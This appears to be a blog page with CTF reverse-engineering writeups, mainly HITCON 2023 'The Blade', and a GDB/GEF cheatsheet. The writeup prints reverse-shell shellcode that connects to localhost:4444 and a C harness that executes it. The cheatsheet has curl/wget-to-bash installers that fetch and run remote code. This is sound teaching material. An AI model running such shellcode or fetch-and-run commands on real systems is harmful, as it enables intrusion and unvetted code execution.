_: QLR_s46[N[MR[N[L_s[N[L___TAPE_END__[N[E[E[Z]]]]]]]]]] = E[Z]()
_: MR[N[L_s[N[L___TAPE_END__[N[E[E[Z]]]]]]]] = QRW_s46[E[E[Z]]]()
_: L_s[N[L___TAPE_END__[N[E[E[Z]]]]]] = QR_s46[E[E[Z]]]()
_: L___TAPE_END__[N[E[E[Z]]]] = QRW_s71[MR[N[L_x[N[E[E[Z]]]]]]]()
_: E[E[Z]] = QRW_s71[L___TAPE_END__[N[MR[N[L_x[N[E[E[Z]]]]]]]]]()

Oh look! We've arrived back at QRW_s71! Time for another quick comparison:

# QRW_s71 query (original).
_: E[E[Z]] = QRW_s71[L___TAPE_END__[N[MR[N[L___TAPE_END__[N[E[E[Z]]]]]]]]]()
# QRW_s71 query (deduced from QRW_s46).
_: E[E[Z]] = QRW_s71[L___TAPE_END__[N[MR[N[L_x[N[E[E[Z]]]]]]]]]()

Looks like L___TAPE_END__ is replaced with a L_x. Eh, still resolves to E[E[Z]] though, so we're fine. ¯\_(ツ)_/¯

This was a rather informal attempt at induction, but hopefully it provides some insight on how the subtype query is resolved recursively.

Closing Remarks

Overall, this is a remarkable CTF challenge. When opening the files, I was pleasantly surprised, because it's so rare to see type-theoretic challenges.⁶ (In fact, this was the first type-theoretic chal I've ever seen!)

I still feel like we cheated the challenge by not going the painstaking, masochistic route of pathfinding the subtype tree. I guess that method would prove more effective if there were more red-herrings (e.g. misleading class inheritances).

But overall, an intellectually challenging reverse challenge!

References

Roth, Ori. 2023. Python Type Hints Are Turing Complete.
- Good for intuition + explanation of concepts.
- Builds upon Grigore's paper and presents an optimised subtyping machine.
Grigore, Radu. 2016. Java Generics are Turing Complete.
- The implementation of the CTF challenge was based on this paper.

Footnotes

N.B. Grigore's and Roth's paper use a different notation ($\blacktriangleleft$ / $\blacktriangleright$) for subtype queries, but I opted to use $<:^?$ / $:>^?$ instead. ↩︎
You may be wondering how the heck is contravariance useful. Well, it's immensely useful for functions and serialisers. ↩︎
In the paper, they use Var instead of Cancel, but I think the latter conveys the operation better. ↩︎
Blatantly taken from Roth's paper. ↩︎
Roth, Ori. 2023. Python Type Hints Are Turing Complete. ↩︎ ↩︎ ↩︎ ↩︎
I was also slightly disappointed when it turns out the solution was rather straightforward. But eh, it was fun reading the paper. :D ↩︎

HITCON 2023 – The Blade

2023-09-20T00:00:00Z

My first Rust rev solve! Though in hindsight, not much Rust knowledge was needed.

Description

A Rust tool for executing shellcode in a seccomp environment. Your goal is to pass the hidden flag checker concealed in the binary.

Author: wxrdnx
40/683 solves.

Writeup

Running the Server

Let’s start by running the binary. We can get a feel by navigating the program with help and other commands.

Turns out we’re given a C2 (Command and Control) interface which sends shellcode. Imagine we control a compromised machine. By running a malicious shellcode, we can trigger a reverse shell to our server, so that we can easily send more commands from the server.

Anyhow, we can start the server with:

server
run

We’re told to run some shellcode on the “client”. By default, this starts a connection to localhost:4444.

A simple alternative is to run nc localhost 4444 (on a separate shell). This will initiate a connection to the server, but it won’t have the same effect as the shellcode.
To run the shellcode, we can compile a simple C program containing the shellcode and execute it.

#include <stdio.h>
#include <stdlib.h>

int main()
{
    unsigned char shellcode[] = "\xeb\x10\x31\xc0\x53\x5f\x49\x8d\x77\x10\x48\x31\xd2\x80\xc2\xff\x0f\x05\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x50\x5b\x48\x97\x68\x7f\x00\x00\x01\x66\x68\x11\x5c\x66\x6a\x02\x54\x5e\xb2\x10\xb0\x2a\x0f\x05\x4c\x8d\x3d\xc5\xff\xff\xff\x41\xff\xe7";
    ((void (*)(void))(shellcode))();
}

// Compile with:
// gcc main.c  -fno-stack-protector -z execstack && gdb ./a.out

After running, then what? The commands don’t seem to reveal much, and at this point it’s a bit guessy. Time to turn to a decompiler.

Identifying Interest Points

What command triggers the flag checker?
Where is the flag processed?
How is the flag processed?

According to the description, the program contains a flag checker. So presumably we pass the flag as input at some point. But where and how?

By running strings, we find an interesting set of strings: ?flag, ?help, ?exit, ?quit. This pattern can’t be a coincidence.

In your favourite decompiler, do a search for the bytes ?flag. If you can’t find it, try playing with endian settings. This should lead you to seccomp_shell::shell::prompt().

Under a condition checking for flag, we’re led to seccomp_shell::shell::verify().

Although strings shows ?flag as the full string, the actual string is just flag. Questionable, no? This is because the byte before flag happens to be \x22 (i.e. ?). strings doesn’t know better, because it doesn’t actually disassemble the program.

So how is the flag actually processed? This requires a careful study of verify(), with a touch of dynamic analysis and experimentation.

Like most flag checkers, it turns out we just pass the flag as input (alongside the flag command).

flag hitcon{test_flag}

And like most flag checkers, we’re immediately hit with “Incorrect”.

We also get some hints about the flag's length...

...by glancing at the start of verify()...

...64.

if (param_3 != 0x40) {
	auVar27 = <>::from("incorrect/",9);
	return auVar27;
}

When we try sending a flag 64-bytes long, we get something on our other shell. We're not immediately hit with an "Incorrect".

flag hitcon{AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNN}

_(collapse)

Reversing the Encryption

Time to play the UNO reverse card on this binary!

There are 3 parts to the encryption. What addresses do they begin and end?
What is each part doing?

Let’s recognise some high level patterns.

It’s easy to be intimidated by the multitude of loops; but really, half the loops are the same, just wearing different clothes.

There are the 3 parts to the encryption:

Part 1 (112d10 – 113017).
Part 2 (113020 – 11309c).
Part 3 (11310e – 1133a5).

The procedure is roughly:

for _ in range(256):
	part1(flag)
	part2(flag)

part3(flag, interesting_data_a7516852)

1. Reversing the Permutation

Address: 112d10 – 113017.

Eight loops, doing pretty much the same thing. Let’s focus on the first one.

memcpy(&some_buffer,&SOME_ADDRESS,0x200);
n = 0x40;
puVar21 = (ulong *)&some_buffer_offset_by_4;
do {
	uVar23 = puVar21[-1];
	if (0x3f < uVar23)
		goto panic;
	uVar1 = __ptr[n - 1]; // __ptr :: char[]
	__ptr[n - 1] = __ptr[uVar23];
	__ptr[uVar23] = uVar1;
	
	uVar23 = puVar21[0];
	if (0x3f < uVar23)
		goto panic;
	uVar1 = __ptr[n - 2];
	__ptr[n - 2] = __ptr[uVar23];
	__ptr[uVar23] = uVar1;
	
	puVar21 += 2;
	n -= 2;
} while (n != 0);

^{(Some variables are renamed for clarity.)}

Does this look familiar?

It’s good ol’ swap! (Though slightly unrolled.) There are eight of these loops, the only difference being the memcpy source.

So how do we reverse this? Generally, there are two approaches to take:

Static analysis. This means we reverse the binary by looking at the bytecode, assembly, decompiler, etc. We don't run or emulate anything.
Dynamic analysis. In this approach, we observe the program's behaviour by running it. Common tools are gdb, strace, and ltrace.

Approaching this statically seems faster, but integer semantics may get lost in translation. Our conclusion may be unstable.

Thus, for fun (and practice), we'll go the dynamic route. Let's insert some breakpoints, input our flag of 64 unique characters (e.g. Base64 alphabet), grab the permuted string, and construct a mapping.

In GDB:

start

Break to determine __ptr location.
break *_ZN13seccomp_shell5shell6verify17h898bf5fa26dafbabE + 61
Break to grab permuted string.
break *_ZN13seccomp_shell5shell6verify17h898bf5fa26dafbabE + 935

continue  
server  
run  
flag abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/
(breakpoint triggered)

Get location of __ptr.
p $rax
$1 = 0x5555555d63e0
continue
(breakpoint triggered)

Get permuted string.
x/s 0x5555555d63e0
Rp5v+AZmM8XWy1sgNhTB/oCzYVdPrGn6KD3Q9lke4qtFxHb0uUOcS2jIEJfL7aiw

All that's left is to match the characters.

import string

p = string.ascii_letters + string.digits + '+/'
assert len(p) == 64
print(p)

# Permuted string obtained from GDB.
permuted = 'Rp5v+AZmM8XWy1sgNhTB/oCzYVdPrGn6KD3Q9lke4qtFxHb0uUOcS2jIEJfL7aiw'[:64]

perm = [0] * 64  # Permutation 
rperm = [0] * 64 # Reverse permutation

for i, c in enumerate(p):
	j = permuted.index(c)
	perm[i] = j
	rperm[j] = i

First part done!

2. Constructing An Inverse Map

Address: 113020 – 11309c.

Part 2 Decompile

Looks like a bunch of arithmetic.

do {
    uVar23 = 0;
    uVar18 = 1;
    uVar3 = __ptr[lVar20] + 1;
    uVar19 = 0x101;
    do {
        uVar25 = uVar3;
        uVar27 = uVar18;
        uVar3 = uVar19 % uVar25;
        iVar24 = (int)uVar27;
        iVar26 = (int)uVar23;
        uVar23 = uVar27;
        uVar18 = (ulong)(iVar26 - (uVar19 / uVar25) * iVar24);
        uVar19 = uVar25;
    } while ((short)uVar3 != 0);
    __ptr[lVar20] = ((uVar27 & 0xffff) >> 0xf) + uVar27 +
                    ((((uVar27 >> 0xf) - iVar24) + iVar26 & 0xffffU) / 0x101) + 0x71U ^ 0x89;
    lVar20 += 1;
} while (lVar20 != 0x40);

^{Some type-casts were removed to simplify the code.}

_(collapse)

If we reverse this statically, it seems like we get a one-to-one mapping of sorts... almost a bijection... but perhaps our implementation is wrong? Better check it with dynamic analysis. 🫠

By "mapping", I mean values are transformed and mapped from one value to another. For example, a (0x61) is mapped to u (0x75), while b (0x62) is mapped to q (0x71).

Like before, we could reverse this part statically... but overflow and types are tricky to get right. So we'll go dynamic again!

Let's start with some basic GDB analysis:

What breakpoints should we add to check the result of one map iteration?
What memory location should we examine?
(And after all that, can you derive the mapping function?)

Oh where to go?

We'll break after the loop, at 11309e.

break *_ZN13seccomp_shell5shell6verify17h898bf5fa26dafbabE + 1070

As for memory location, the code still modifies __ptr, so we'll read from the same location.

x/16wx 0x5555555d63e0

_(collapse)

Two things I'd like to point out:

Previously, we used x/s to print a string from memory. This time, I used x/16wx to print bytes, since some mapped bytes aren't printable.¹
There's another problem... previously, we input the bytes through flag <bytes>, and this is great if we're using printable chars. But what about non-printable chars? There are different solutions around this:
- Employ GDB input tricks.
- Track cycles of characters.
- Break before mapping, and hard-code __ptr by modifying its memory. Since the goal is to discover the remaining mappings, we'll hard-code __ptr with the rest of the bytes outside our Base64 alphabet.
Y'know what? Let's go with the last option!

start

Break before the loop.
break *_ZN13seccomp_shell5shell6verify17h898bf5fa26dafbabE + 937
Break after the loop.
break *_ZN13seccomp_shell5shell6verify17h898bf5fa26dafbabE + 1070

continue
(breakpoint-before-loop triggered)

Set 8x8 = 64 bytes. (I used a Python script to generate these `set` cmds from the missing input bytes.)
set *(0x5555555d63e0 as *mut u64) = 0x0001020304050607
set *(0x5555555d63e8 as *mut u64) = 0x08090a0b0c0d0e0f
and so on...
set *(0x5555555d6410 as *mut u64) = 0x3c3d3e3f405b5c5d
set *(0x5555555d6418 as *mut u64) = 0x5e5f607b7c7d7e7f

continue
(breakpoint-after-loop triggered)

Get mapped bytes.
x/16wx 0x5555555d63e0
...
Repeat until all mappings are deduced...

Finished gathering data? Let's analyse it!

# Values obtained with `x/16wx 0x5555555d63e0`.

# Values before mapping.
dst = """
0x5555555d63e0: 0x76357052      0x6d5a412b      0x5758384d      0x67733179
0x5555555d63f0: 0x4254684e      0x7a436f2f      0x50645659      0x366e4772
0x5555555d6400: 0x5133444b      0x656b6c39      0x46747134      0x30624878
0x5555555d6410: 0x634f5575      0x496a3253      0x4c664a45      0x77696137

0x5555555d63e0: 0x04050607      0x00010203      0x0c0d0e0f      0x08090a0b
0x5555555d63f0: 0x14151617      0x10111213      0x1c1d1e1f      0x18191a1b
0x5555555d6400: 0x24252627      0x20212223      0x2d2e3a3b      0x28292a2c
0x5555555d6410: 0x405b5c5d      0x3c3d3e3f      0x7c7d7e7f      0x5e5f607b

-- snip -- to save space --
"""

# Values after mapping.
mpd = """
0x5555555d63e0: 0x2e616c58      0xe2cb3269      0xa002e0b3      0xc16b1c86
0x5555555d63f0: 0xd2799cec      0x74d9c29e      0x9f043b0c      0xed14031e
0x5555555d6400: 0xca978fa2      0x39a4d8da      0xaf7e645b      0x0f71930b
0x5555555d6410: 0x0a81fd99      0x3aef66b7      0xe1ff00ee      0x09ab75ad

0x5555555d63e0: 0x51158ddb      0xfb7b4ebb      0xaab260eb      0xb0aca58e
0x5555555d63f0: 0x2bc6a635      0x635cde42      0xbd24b1e3      0x3043d65f
0x5555555d6400: 0x7c6d8b17      0x8ca7d52a      0x59a92706      0x9d83fe10
0x5555555d6410: 0x41a880c0      0x25dc5ee7      0xc42d4ff9      0x164d2f6a

-- snip --
"""

def mkbytes(s):
    return [int(bs[2*(i+1):2*(i+2)], 16) for l in s.strip().split('\n') if l.strip() for bs in l.split(': ')[1].split() for i in range(4)]

dbytes = mkbytes(dst)
mbytes = mkbytes(mpd)

mp = [0]*256  # Value map.
rmp = [0]*256 # Reverse value map.
for a, b in zip(dbytes, mbytes):
    mp[a] = b
    rmp[b] = a

# Assert bijection.
assert len(mp) == len(rmp) == 256

And just like that, we obtained a reverse mapping, thanks to it being a bijection!

What is a bijection?

A bijection is a function where...

each input maps to a unique output. (injective)
each possible output is mapped from a corresponding input. Specifically, every value in the function's range has a mapping. (surjective)

This characteristic is crucial as it guarantees an invertible operation.

^{(Image Source)}

3. Cracking the Shellcode

Address: 11310e – 1133a5.

The final part. Subtle, but delectable.

What are the 255 bytes copied into the Rust vec?

local_278 = alloc::raw_vec::RawVec<T,A>::allocate_in(0xff,0);
memcpy(local_278._0_8_,&DAT_00162b2b,0xff);

What is the purpose of the data loaded at 11310e?

local_238 = 0x526851a7;
local_234 = 0x31ff2785;
local_230 = 0xc7d28788;
local_22c = 0x523f23d3;
local_228 = 0xaf1f1055;
local_224 = 0x5c94f027;
// -- snip --

The 255 bytes loaded into a vec? Guess what? That also happens to be a shellcode!

Follow-up question: if this is shellcode, what does it do? how is it run?

We can disassemble it with pwntools.disasm to get the following ASM.

Small caveat: you'll want to set context.arch = 'amd64' for disasm to interpret the shellcode correctly. In the disassembly, we see our two points of insertion (0xdeadbeef) treated as values, so amd64 is probably the right choice.

-- snip --
  b2:   0f 05                   syscall             ; read from /dev/zero
  b4:   58                      pop    rax          ; rax = 0
  b5:   48 f7 d0                not    rax          ; exercise for the reader
  b8:   48 c1 e8 1d             shr    rax, 0x1d    ;
  bc:   48 99                   cqo                 ;
  be:   6a 29                   push   0x29         ;
  c0:   59                      pop    rcx          ;
  c1:   48 f7 f1                div    rcx          ;
  c4:   49 96                   xchg   r14, rax     ; swap r14 and rax
  c6:   6a 03                   push   0x3
  c8:   58                      pop    rax          ; rax = 3
  c9:   0f 05                   syscall             ; close()
  cb:   b8 ef be ad de          mov    eax, 0xdeadbeef  ; flag input
  d0:   44 01 e0                add    eax, r12d
  d3:   44 31 e8                xor    eax, r13d
  d6:   c1 c8 0b                ror    eax, 0xb
  d9:   f7 d0                   not    eax
  db:   44 31 f0                xor    eax, r14d        ; eax = ~(ror(0xb, (0xDEADBEEF + r12) ^ r13)) ^ r14
  de:   3d ef be ad de          cmp    eax, 0xdeadbeef  ; static values (expected output)
  e3:   75 05                   jne    0xea
  e5:   6a 01                   push   0x1
  e7:   58                      pop    rax  ; rax = 1
  e8:   eb 03                   jmp    0xed
  ea:   48 31 c0                xor    rax, rax ; rax = 0

-- snip --

I've included the juiciest part above (with some annotations). Essentially, we perform several reversible operations (add, xor, ror, not) on 4 bytes of input; and the result is checked against 4 bytes of static data. Finally, it sets rax = 1 if correct, and rax = 0 if false.

But are we actually comparing 0xdeadbeef. Nope—we're comparing something else instead.

What are the two 0xdeadbeef being replaced with?

The Guts: What does the shellcode load?

Here is some (simplified) code which overwrites 0xdeadbeef values at instruction 113168. Remember, vec is the shellcode and __ptr is our permuted + mapped input.

vec[0xcc] = __ptr[0];
vec[0xdf] = 0xA7;
vec[0xcd] = __ptr[1];
vec[0xe0] = 0x51;
vec[0xce] = __ptr[2];
vec[0xe1] = 0x68;
vec[0xcf] = __ptr[2];
vec[0xe2] = 0x52;

Does 0xA7, 0x51, 0x68, and 0x52 look familiar? 🙃 Check the wall of bytes in 11310e.

Effectively, the Rust performs a little surgery on shellcode before using it.

But how is it used? Leafing around the decompiled code, you may notice Rust IO write and read functions... those seem sus...

_(collapse)

By now, you probably know what the shellcode does: flag-checking. But there are a few more things we need to reverse...

In the calculations, three mystery values (r12, r13, r14) are used. These were computed in the preceding shellcode. To efficiently obtain our flag input from the expected output, we need to find out what these mystery values are.

In case you'd like to have a stab at dissecting the assembly, the full (unblemished) shellcode is in the box below. Try to figure out what r12, r13, and r14 are!

If you're stuck, try using GDB on our shellcode program (main.c from Running the Server) with watchpoints.
- Important: the shellcode we saw when starting the server is different from the shellcode we're reversing here! The former acts as a client, receiving commands and executing them. The latter is a flag-checker payload that is sent to the client over the network.
Here's a useful list of Linux x86-64 syscalls: filippo.io: Linux Syscall Table.

Full Shellcode

Have fun! :)

   0:   54                      push   rsp
   1:   5d                      pop    rbp
   2:   31 f6                   xor    esi, esi
   4:   48 b9 a1 57 06 b8 62 3a 9f 37   movabs rcx, 0x379f3a62b80657a1
   e:   48 ba 8e 35 6f d6 4d 49 f7 37   movabs rdx, 0x37f7494dd66f358e
  18:   48 31 d1                xor    rcx, rdx
  1b:   51                      push   rcx
  1c:   54                      push   rsp
  1d:   5f                      pop    rdi
  1e:   6a 02                   push   0x2
  20:   58                      pop    rax
  21:   99                      cdq
  22:   0f 05                   syscall
  24:   48 97                   xchg   rdi, rax
  26:   31 c0                   xor    eax, eax
  28:   50                      push   rax
  29:   54                      push   rsp
  2a:   5e                      pop    rsi
  2b:   6a 04                   push   0x4
  2d:   5a                      pop    rdx
  2e:   0f 05                   syscall
  30:   41 5c                   pop    r12
  32:   6a 03                   push   0x3
  34:   58                      pop    rax
  35:   0f 05                   syscall
  37:   31 f6                   xor    esi, esi
  39:   48 b9 3b 3b 6f c3 63 64 c0 aa   movabs rcx, 0xaac06463c36f3b3b
  43:   48 ba 48 4c 0b c3 63 64 c0 aa   movabs rdx, 0xaac06463c30b4c48
  4d:   48 31 d1                xor    rcx, rdx
  50:   51                      push   rcx
  51:   48 b9 8c 57 82 75 d6 f8 a9 7d   movabs rcx, 0x7da9f8d67582578c
  5b:   48 ba a3 32 f6 16 f9 88 c8 0e   movabs rdx, 0xec888f916f632a3
  65:   48 31 d1                xor    rcx, rdx
  68:   51                      push   rcx
  69:   54                      push   rsp
  6a:   5f                      pop    rdi
  6b:   6a 02                   push   0x2      
  6d:   58                      pop    rax
  6e:   99                      cdq
  6f:   0f 05                   syscall
  71:   48 97                   xchg   rdi, rax
  73:   31 c0                   xor    eax, eax
  75:   50                      push   rax
  76:   54                      push   rsp      
  77:   5e                      pop    rsi
  78:   6a 04                   push   0x4 
  7a:   5a                      pop    rdx
  7b:   0f 05                   syscall
  7d:   41 5d                   pop    r13
  7f:   6a 03                   push   0x3      
  81:   58                      pop    rax
  82:   0f 05                   syscall
  84:   31 f6                   xor    esi, esi
  86:   6a 6f                   push   0x6f
  88:   48 b9 59 e5 06 0c 2d f6 d9 77   movabs rcx, 0x77d9f62d0c06e559
  92:   48 ba 76 81 63 7a 02 8c bc 05   movabs rdx, 0x5bc8c027a638176
  9c:   48 31 d1                xor    rcx, rdx
  9f:   51                      push   rcx
  a0:   54                      push   rsp
  a1:   5f                      pop    rdi
  a2:   6a 02                   push   0x2  
  a4:   58                      pop    rax
  a5:   99                      cdq
  a6:   0f 05                   syscall
  a8:   48 97                   xchg   rdi, rax
  aa:   31 c0                   xor    eax, eax
  ac:   50                      push   rax
  ad:   54                      push   rsp
  ae:   5e                      pop    rsi
  af:   6a 04                   push   0x4
  b1:   5a                      pop    rdx
  b2:   0f 05                   syscall
  b4:   58                      pop    rax
  b5:   48 f7 d0                not    rax
  b8:   48 c1 e8 1d             shr    rax, 0x1d
  bc:   48 99                   cqo
  be:   6a 29                   push   0x29
  c0:   59                      pop    rcx
  c1:   48 f7 f1                div    rcx
  c4:   49 96                   xchg   r14, rax
  c6:   6a 03                   push   0x3
  c8:   58                      pop    rax
  c9:   0f 05                   syscall
  cb:   b8 ef be ad de          mov    eax, 0xdeadbeef
  d0:   44 01 e0                add    eax, r12d
  d3:   44 31 e8                xor    eax, r13d
  d6:   c1 c8 0b                ror    eax, 0xb
  d9:   f7 d0                   not    eax
  db:   44 31 f0                xor    eax, r14d
  de:   3d ef be ad de          cmp    eax, 0xdeadbeef
  e3:   75 05                   jne    0xea
  e5:   6a 01                   push   0x1
  e7:   58                      pop    rax
  e8:   eb 03                   jmp    0xed
  ea:   48 31 c0                xor    rax, rax
  ed:   50                      push   rax
  ee:   53                      push   rbx
  ef:   5f                      pop    rdi
  f0:   54                      push   rsp
  f1:   5e                      pop    rsi
  f2:   6a 08                   push   0x8
  f4:   5a                      pop    rdx
  f5:   6a 01                   push   0x1
  f7:   58                      pop    rax
  f8:   0f 05                   syscall
  fa:   55                      push   rbp
  fb:   5c                      pop    rsp
  fc:   41 ff e7                jmp    r15

_(collapse)

It turns out r12 and r13 are just the first 4 bytes of /bin/sh and /etc/passwd, which is respectively \x7fELF and root. These correspond to 0x464c457f and 0x746f6f72 in little endian. And r14 is just 0x31f3831f, computed with a bit of arithmetic. Armed with these 3 values, we can now reverse the encryption.

def ror(x, n):
    left = x >> n
    right = (x & (0xFFFFFFFF >> (32 - n))) << (32 - n)
    return right | left

def neg(x):
    assert x >= 0
    return int(''.join('01'[c == '0'] for c in f'{x:032b}'), 2)

r12 = 0x464c457f
r13 = 0x746f6f72
r14 = 0x31f3831f

def shelldec(b):
    """Reverse shellcode encryption (decryption)."""
    assert b >= 0
    return ((ror(neg(b ^ r14), 32 - 0xb) ^ r13) - r12) % 2**32

byteorder = 'little'

# `encrypted` words obtained from 160010 to 16004f.
encrypted = [0x526851a7, 0x31ff2785, 0xc7d28788, 0x523f23d3, 0xaf1f1055, 0x5c94f027, 0x797a3fcd, 0xe7f02f9f, 0x3c86f045, 0x6deab0f9, 0x91f74290, 0x7c9a3aed, 0xdc846b01, 0x743c86c, 0xdff7085c, 0xa4aee3eb,]
decrypted = [shelldec(u) for u in encrypted]

Tying it All Together

All that's left is to tie the three parts together.

bs = b''.join(u.to_bytes(4, byteorder) for u in decrypted)

for i in range(256):
    bs = apply_rmp(bs)
    bs = apply_rperm(bs)

print(bs.decode())

Debugging Our Mess

Some small tips on debugging.

Sometimes the solution is simple and straightforward. But occasionally, we make programming mistakes or misunderstand the problem. Debugging code can be painful.

Prove inverse function holds. Sounds mathy, but the basic principle is to check if our reversed output equals our input. In math terms: f(g(x)) = g(f(x)) = x, where g is the inverse of f. If it's not equal, clearly we messed up somewhere.
- This is useful for the second part (mapping), because our domain is small, just 0 - 255.
- For example, with shellcode encryption, we can do a forward pass, to make sure we're getting the same data.
```
def shellenc(a):
    """Forward shell encryption."""
    assert a >= 0
    u32 = lambda x: x & 0xFFFFFFFF 
    return neg(ror(u32(a + r12) ^ r13, 0xb)) ^ r14

assert encrypted == [shellenc(v) for v in decrypted]
```
  Python
Use asserts. Great for intermediate checks.
Verify assumptions with dynamic analysis. For example, I had falsely assumed in the shellcode that r12 == 0, since seemed to be pushed by the assembly. But as we found out, r12 == L"FLE\x7f". However, be wary of the observer effect, where the program changes behaviour when observed. I haven't seen this much in CTFs, but it's certain to be out there...

Final Remarks

It's easy to miss things out. I know I did. Lots of hair was lost until I realised I left out the shellcode. I also tried to search the shellcode on ExploitDB, but no luck, because it was hand-spun.

But overall, a sweet challenge. And one that left me with nice rave music to power me through Saturday.

Solve Script

Flag

hitcon{<https://soundcloud.com/monstercat/noisestorm-crab-rave>}

(I don't know what this music was. It was my first time listening to it. And it's epic! So thank you, wxrdnx, for introducing this nice rave and meme.)

Footnotes

A better specifier would be x/64bd. This displays 64 decimal bytes, and is more convenient to parse in Python. But I chose x/16wx since I didn't know better at the time and caused myself extra pain. 🥲 ↩︎

GDB/GEF Cheatsheet

2023-09-11T00:00:00Z

This is a curated collection of GDB/GEF commands which I find incredibly useful for dynamic analysis and reverse engineering. These are mainly personal notes and may be incomplete, but suggestions are welcome! If there's a useful GDB/GEF command you use that's not on this list, do leave a comment or let me know so that I can add it. :)

The Basics

Hjaelp!

# Describes how to use a command.
help
help [command]
help info
help breakpoint

Execution

Run Program with Loaded File

gdb <filename>

Load Files

file <filename>

Running

start    # Starts program and breaks at beginning.
run      # Runs program normally.
continue # Continue program where you left off.
kill     # Kill process.
quit     # Leave GDB.

Shell Commands

shell <cmd>
shell echo Hi
!<cmd>

Interrupting

We want to inspect a program in the guts. But how do we stop it where we want?

^C during program execution. (Also throws a SIGINT.)
Use start instead of run. Breaks after starting the program.
Use breakpoints (break on address).
Use watchpoints (break on data).

Step Debugging

Once we've stopped, what do we do? How do we navigate instructions and functions effectively?

Step debugging is one of the core features of GDB, and an invaluable tool for all programmers. Modern IDEs have step debugging functionality built-in to operate seamlessly with code. But in GDB, you can operate it with the familiar touch of your keyboard!

# Step Debugging
## Step (into).
step
s
## Step over.
next
n
## Step (into) one instruction exactly.
stepi
si
## Step over one instruction.
nexti
ni
## Step out. Execute until (selected) stack frame returns (past end of function).
finish
fin

Disassembly

Useful for verifying addresses and assembly, even if you use a decompiler.

View instructions at a function or address.

disas <address/function>
disas <start addr>,<end addr>
disas <start addr>,+<offset>

disas main

Enable Intel-flavoured ASM syntax.

set disassembly-flavor intel

View data as instructions.

x/[n]i <addr>
x/20i 0x5555555dddd0

Registers

View Registers

Show individual registers.

print [expression]

print $rax
p $rax

# Expressions are evaluated.
p $rbx+$rcx*4

Show all registers.

info registers
info r
registers # (GEF)
reg       # (GEF)

Modify Registers

set $eax = 0xdeadbeef

Watch Registers

See Watchpoints.

Memory

Memory is a core component of binaries. Many hidden secrets lurk inside the shadows of memory.

View Memory

x/[n][sz][fmt] <addr>

# n: Number of data to print.
# sz: b(byte), h(halfword), w(word), g(giant, 8 bytes)
# fmt: Format to print data.
# - o(octal), x(hex), d(decimal), u(unsigned decimal),
# - z(hex, zero padded on the left)
# - t(binary), f(float), c(char), s(string)
# - a(address), i(instruction),

# 20 words.
x/20wx 0x7fffffffd000

# 20 bytes.
x/20bx 0x7fffffffd000

# View as string.
x/s 0x7fffffffd000

Modify Memory

set {c-type}<address> = <value>

# For self-compiled sources.
set var i = 10
set {int}0x83040 = 4

You can also modify memory at a pointer location by casting to an appropriate type and dereferencing.

## C++
set *{uint32_t*}0x7fffffffd000 = 0xdeadbeef
## Rust
set *(0x7fffffffd000 as *const u32) = 0xdeadbeef

Search Memory

find <start>, <end>, <data...>
find <start>, +<length>, <data...>

# Find string (including null byte).
find 0x7fffffffd000, 0x7ffffffff000, "Hello world!"

# Find string (excluding null byte).
find 0x7fffffffd000, 0x7ffffffff000, 'H','e','l','l','o'

More options.

find [/sn] ...
# s: b(byte), h(halfword), w(word), g(giant, 8 bytes)
# n: max number of finds

Combine with Memory Mapping to determine available regions.

Watch Memory

See Watchpoints.

View Memory Segments

Useful to determine which areas are readable/writeable/executable.

Requires program to be running beforehand.

info proc mappings
vmmap # (GEF)

Stack

View Stack

# View 100 words (hex) at $rsp.
x/100wx $rsp

Heap

GEF only.

heap

# View all chunks.
heap chunks

# View specific chunks.
heap chunk <addr>

# View state of bins (freed chunks).
heap bins

Breakpoints

Breaks when address reaches an instruction.

break *<address>
break <line-number | label> # For self-compiled programs.
break <stuff...> if <expression>

# Address.
break *0x401234
b *0x401234

# Offset from function.
break *main+200

# Line number and expression.
break main.c:6 if i == 5

Further Reading:

SO: GDB – Break if variable equal value

Breakpoint Control

Sometimes we only want to enable or disable certain breakpoints. These commands come handy then. They also apply to watchpoints.

Get Breakpoint Info

info breakpoints
info b

Control Breakpoints

# Enable/disable all breakpoints.
enable
disable

# Enable/disable specific breakpoints.
enable <breakpoint-id>
disable <breakpoint-id>

# Remove breakpoints.
delete <breakpoint-id>

Skip n Breakpoints

continue <ignore-count>

# Skip 32 breaks.
continue 32

Hit Breakpoint Once

# Enable the breakpoint once.
# The breakpoint will be disabled after first hit.
enable once <breakpoint-id>

Watchpoints

Breaks when data changes. More specifically, whenever the value of an expression changes, a break occurs.

This includes:

when an address is written to. (watch, awatch)
when an address is read from. (rwatch, awatch)
when an expression evaluates to a given value. (watch)

watch <expression>

# Break on write.
watch *0x7fffffffd000

# Break on condition.
## Register
watch $rax == 0xdeadbeef
## Memory
### C/C++
watch *{uint32_t*}0x7fffffffd000 == 0xdeadbeef
### Rust
watch *(0x7fffffffd000 as *const u32) == 0xdeadbeef

Watchpoints can be enabled/disabled/deleted like breakpoints, but you can also list them separately.

# Displays table of watchpoints.
info watchpoint
info wat

If hardware watchpoints are supported, then you can also use read watchpoints and access watchpoints.

# Check if hardware watchpoints are supported.
show can-use-hw-watchpoints

# Read watchpoints: break on read.
rwatch *0x7fffffffd000

# Access watchpoints: break on read or write.
awatch *0x7fffffffd000

Further Reading:

GDB: Setting Watchpoints

GDB Script

GDB commands can be placed in files and run in the following ways:

~/.gdbinit and ./.gdbinit are executed automatically on GDB startup.

On the command line, with -x/--command:

gdb --batch --command=test.gdb --args ./test.exe 5

Using the source command in GDB:
```
source myscript.gdb
```
GDB

Further Reading:

Miscellaneous

Install GEF

# via the install script
## using curl
bash -c "$(curl -fsSL https://gef.blah.cat/sh)"

## using wget
bash -c "$(wget https://gef.blah.cat/sh -O -)"

# or manually
wget -O ~/.gdbinit-gef.py -q https://gef.blah.cat/py
echo source ~/.gdbinit-gef.py >> ~/.gdbinit

# or alternatively from inside gdb directly
gdb -q
(gdb) pi import urllib.request as u, tempfile as t; g=t.NamedTemporaryFile(suffix='-gef.py'); open(g.name, 'wb+').write(u.urlopen('https://tinyurl.com/gef-main').read()); gdb.execute('source %s' % g.name)

Further Reading:

GitHub: GEF

`pwnlib.gdb.attach`

This allows you to programmatically interact with the binary with an initial GDB script or send I/O with Python. This uses the Python pwn module — a versatile exploit development package — which you can install with pip install pwntools.

from pwn import *

bash = process('bash')

# Attach the debugger and run GDB commands.
gdb.attach(bash, '''
set follow-fork-mode child
break execve
continue
''')

# Interact with the process.
bash.sendline(b"echo Hello World")

